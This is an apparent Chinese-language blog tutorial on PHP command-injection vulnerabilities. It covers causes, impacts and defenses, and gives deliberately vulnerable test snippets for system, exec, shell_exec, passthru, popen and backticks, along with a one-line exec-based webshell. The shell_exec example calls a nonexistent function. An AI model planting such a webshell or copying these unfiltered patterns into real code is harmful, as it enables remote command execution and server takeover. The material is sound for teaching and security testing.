php命令执行漏洞基础以及常用函数

漏洞的产生原因

  • 代码层过滤不严。应用程序直接或间接使用了动态执行命令的危险函数,并且这个函数的运行参数是可控的

  • 系统的漏洞造成命令注入

漏洞的本质

  • 应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。

涉及到的函数

  • 1.system

  • 2.exec()

  • 3.shell_exec()

  • 4.passthru()

  • 5.popen()

  • 6.反引号

命令执行漏洞的危害

  • 1.继承Web 服务器程序权限(Web用户权限),去执行系统命令

  • 2.继承Web服务器权限,读写文件

  • 3.反弹Shell

  • 4.控制整个网站

  • 5.控制整个服务器

命令执行漏洞的防御

  • 1、尽量少使用执行命令函数或者禁用disable_functions

  • 2、在进入执行命令的函数之前,对参数进行过滤,对敏感字符进行转义

  • 3、参数值尽量使用引号包括,并在拼接前调用addslashes进行转义


命令执行相关函数的使用

system()

  • 说明:能够将字符串作为OS命令执行,自带输出功能

  • 测试参考代码:

<?php
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
payload:?cmd=ipconfig

exec()

  • 说明:能将字符串作为OS命令执行,但无输出需要输出执行结果print

  • exec() 默认只输出最后一行的数据

  • 如果想让他输出全部结果,可以加一个参数,即exec(ifconfig,$arr); print_r($arr);,如一句话木马:<?php exec($_REQUEST[123],$arr);print_r($arr)?>

  • 测试参考代码:

<?php
if(isset($_GET['cmd'])){
    print exec($_GET['cmd']);
}
?>
payload:?cmd=whoami

shell_exec()

  • 说明:执行命令并以字符串的形式,返回完整的信息,但是函数无回显需要输出执行结果

  • 测试参考代码

<?php
if(isset($_GET['cmd'])){
    print shell($_GET['cmd']);
}
?>
payload:?cmd=whoami

passthru()

  • 说明:执行外部命令,与system()类似,但是该函数会直接将结果输出,无需输出执行。

  • 测试参考代码:

<?php

if(isset($_GET['cmd'])){
    passthru($_GET['cmd']);
}
?>
payload:?cmd=whoami

popen()

  • 说明:能够执行OS命令,但是该函数并不是返回命令结果,而是返回一个文件指针

  • 测试参考代码:

<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'].">>1.txt";
    popen($cmd,'r');
}
?>
payload:?cmd=whoami

`` 反引号

  • 说明:反引号[``]内的字符串,也会被解析成OS命令

  • 反引号背后执行的代码其实是调用了shell_exec(),所以禁用了shell_exec()同样反引号也无法使用了。

  • 测试参考代码:

<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    print `$cmd`;
}
?>
payload:?cmd=whoami

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值